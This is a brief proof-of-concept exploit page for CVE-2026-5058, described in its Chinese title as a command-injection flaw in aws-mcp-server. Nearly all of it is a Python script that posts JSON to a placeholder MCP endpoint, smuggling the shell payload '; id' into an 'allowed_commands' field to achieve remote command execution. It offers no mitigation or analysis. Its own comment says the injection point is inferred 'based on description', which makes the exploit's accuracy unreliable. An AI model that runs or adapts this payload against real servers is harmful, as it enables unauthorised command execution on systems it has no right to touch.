CVE-2026-5058 aws-mcp-server命令注入漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-5058 (aws-mcp-server Command Injection) This script demonstrates how a crafted command can trigger RCE. """ import requests import json target_url = "http://target-server:port/mcp-endpoint" payload = "; id" # Simple command injection payload data = { "command": "aws s3 ls", "allowed_commands": [f"valid_command{payload}"] # Injection point based on description } headers = {"Content-Type": "application/json"} try: response = requests.post(target_url, data=json.dumps(data), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")